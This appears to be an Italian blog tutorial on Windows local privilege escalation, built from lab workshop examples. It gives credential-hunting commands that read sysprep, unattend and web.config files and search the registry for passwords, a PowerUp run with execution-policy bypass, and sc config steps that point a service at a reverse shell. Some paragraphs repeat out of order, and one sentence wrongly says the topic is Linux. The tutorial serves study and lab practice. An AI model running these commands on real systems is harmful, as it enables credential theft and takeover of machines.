In questo articolo andrò ad elencare alcune tra le principali
tecniche di Privilege Escalation nei sistemi operativi Windows. Per chi
non sapesse cosa sia, la privilege escalation
(intesa come sorpasso delle autorizzazioni) è l’aumento di privilegi
che si possiedono tramite particolari tecniche, come lo sfruttamento di
un exploit o di un bug, al fine di poter eseguire azioni che prima non
si potevano effettuare.
Esistono due tipologie di privilege escalation:
Nel caso della scalate verticale, è quando un utente con permessi su
determinate aree del sistema, riesce ad ottenere i permessi su altre
aree del sistema. Ad esempio è come se in un servizio bancario,
riuscissi a visualizzare il conto corrente di un altro utente.
In questo articolo andremo ad analizzare la scalate verticale nei sistemi Linux, ossia come poter sfruttare determinate tecniche per ottenere i privilegi di root.
Una volta mappato l’ambiente, le tipologie di Privilege escalation negli ambienti Windows sono molteplici, tra le quali:
si può vedere dalla prima riga, che gli utenti appartenenti a “User” hanno completo accesso alla cartella (lettera F).
In questo modo, basterà copiare la nostra reverse shell all’interno
della cartella, riavviare la macchina (o disconnettersi dallla sessione)
e si avrà una sessione amministrativa
Per verificare i permessi del servizio, carico sulla macchina AccessChk, che serve per verificare i permessi sui file, registri, servici, etc.
Come si può notare dall’immagine, chiunque può modificare i dettagli del servizio. Andiamo quindi ad indagare quali sono con il tools sc.
Per poter ottenere i privilegi di root, ci basterà modificare il PATH
del binario con una nostra reverse shell, fermare e riavviare il
servizio. In questo modo esso si avvierà come amministratore, e ci
permetterà di diventare tali.
In questo modo, basterà andare a a copiare un file con il nome di
“common” e questo verrà eseguito, poichè il sistema andrà a cercarne uno
con quel nome.
Copio la mia solita reverse shell, mi metto in ascolto sulla porta e faccio partire il servizio
Esistono due tipologie di privilege escalation:
- Verticale
- Orizzontale
In questo articolo andremo ad analizzare la scalate verticale nei sistemi Linux, ossia come poter sfruttare determinate tecniche per ottenere i privilegi di root.
Metodologia
Come ogni buon processo che si rispetti, anche in questo caso esiste una particolare metodologia e dei passi precisi da eseguire:- Collezionare informazioni: è la parte fondamentale, e consiste nell’enumerazione del sistema, dei file e nell’ottenere più informazioni possibili dal sistema
- Processare informazioni: consiste nell’analizzare tutte le informazioni trovate nella fase precedente, al fine di prioritizzarle
- Ricerca e approfondimento: una volta ottenute e analizzate le informazioni, bisogna capirle al meglio e trovare il codice vulnerabile, il bug o la misconfigurazione che ci potrebbe permettere l’escalation
- Adattamento: se la casistica in esame non è standard, dovremmo adattare l’exploit o scriverne uno al fine di ottenere il risultato sperato
- Tentativo: utilizzare ciò che è stato trovato o creato e provare la scalata. Se non funziona, ripartire dall’approfondimento di un altra informazione.
Collezionare informazioni
Una volta ottenuta una connessione con il sistema vittima (ad esempio con una reverse shell), bisogna porsi una serie di domande, come:- Che sistema operativo è?
- Che programmi ci sono installati?
- Ci potrebbero essere password salvate in chiaro o con permessi laschi?
- e via discorrendo..
- Versione del sistema operativo e informazioni base
- systeminfo | findstr /B /C:”OS Name” /C:”OS Version”
- hostname
- echo %username%
- Configurazioni di rete
- net users
- net users usersname
- ipconfig /all
- route print
- arp -A
- netstat -ano
- Servizi attivi
- schtasks /query /fo LIST /v
- tasklist /SVC
- net start
- File di configurazione
- type C:\sysprep.inf
- type C:\sysprep\sysprep.xml
- type %WINDIR%\Panther\Unattend\Unattended.xml
- type %WINDIR%\Panther\Unattended.xml
- type C:\Windows\system32\sysprep\sysprep.xml
- type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
- type C:\inetpub\wwwroot\web.config
- Ricerca Password
- reg query HKCU /f password /t REG_SZ /s
- reg query HKLM /f password /t REG_SZ /s
- findstr /si password *.txt
- findstr /si password *.xml
- findstr /si password *.ini
Una volta mappato l’ambiente, le tipologie di Privilege escalation negli ambienti Windows sono molteplici, tra le quali:
- Stored Credentials: consiste sostanzialmente nella ricerca di password salvate in chiaro nel sistema che ci possano aiutare a scalare i privilegi;
- Kernel Exploit: come per Linux, ci sono diversi exploit per la Privilege Escalation, basta trovare la versione vulnerabile;
- DLL Injection: è una tecnica particolare, che permette di eseguire codice arbitrario nel contesto dello spazio di indirizzo di un altro processo. Per chi volesse approfondire, consiglio DLL Injection;
- Weak Permission: se un programma viene installato nel sistema con permessi errati, i quali ci vengono incontro per aumentare i privilegi;
- Unquoted Service Path: negli ambienti Windows, all’avvio di un servizio, il sistema cerca di trovare la posizione dell’eseguibile per avviare con successo il servizio. Se l’eseguibile è racchiuso nei tag “” allora il sistema lo trova immediatamente, ma, se il percorso non contiene le “”, Windows cercherà di trovarlo ed eseguirlo all’interno di ogni cartella di questo percorso fino a quando non raggiunge l’eseguibile. In questo caso, è possibile eseguire attacchi di Privilege Escalation (un approfondimento è presente qui);
- Weak Service: molto simile a weak permission.
Weak Permission
Uno degli errori più comuni è impostare permessi troppo laschi ad una cartella o file che sarà poi eseguito da un utente con privilegi di amministrazione. Ad esempio, se digitocacls.exe "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup"
Weak Service
Utilizzando lo script di PowerUp abbiamo la possibilità di cercare servizi vulnerabili. Per eseguirlo, se digitopowershell.exe -exec bypass -Command "& {Import-Module .\PowerUp.ps1; Invoke-AllChecks|Out-File -Encoding ASCII checks.txt}"verrà eseguito powershell, bypassando possibili controlli, in background e in modo tale da avere l’output scritto su un file di testo. Guardando all’interno del file, è stato controllato un servizio ed è risultato con permessi misconfigurati.
sc config daclsvc binpath= "C:\Users\luca\Downloads\reverse.exe"
sc stop daclsvc #In questo momento andremo ad avviare netcat sulla nostra macchina
sc start daclsvc
Unquoted Service Path
Sempre tramite l’outpur di PowerUP, viene mostrato come vari servizi non abbiano le virgolette, andando a descrivere il path errato.Conclusioni
Per chi volesse esercitarsi con altri esercizi, gli esempi illustrati nell’articolo sono stati presi da Windows Local Privilege Escalation Workshop, che contiene altri esercizi pratici per imparare. Altre fonti utili per approfondire l’argomento sono:- https://h4ck.co/wp-content/uploads/2017/11/PowerUp.pdf
- http://pentest.tonyng.net/windows-privilege-escalation/
- http://pwnwiki.io/#!privesc/windows/uac.md
- http://www.greyhathacker.net/?p=738
- http://pwnwiki.io/#!privesc/windows/index.md
- http://www.fuzzysecurity.com/tutorials/16.html
Nessun commento:
Posta un commento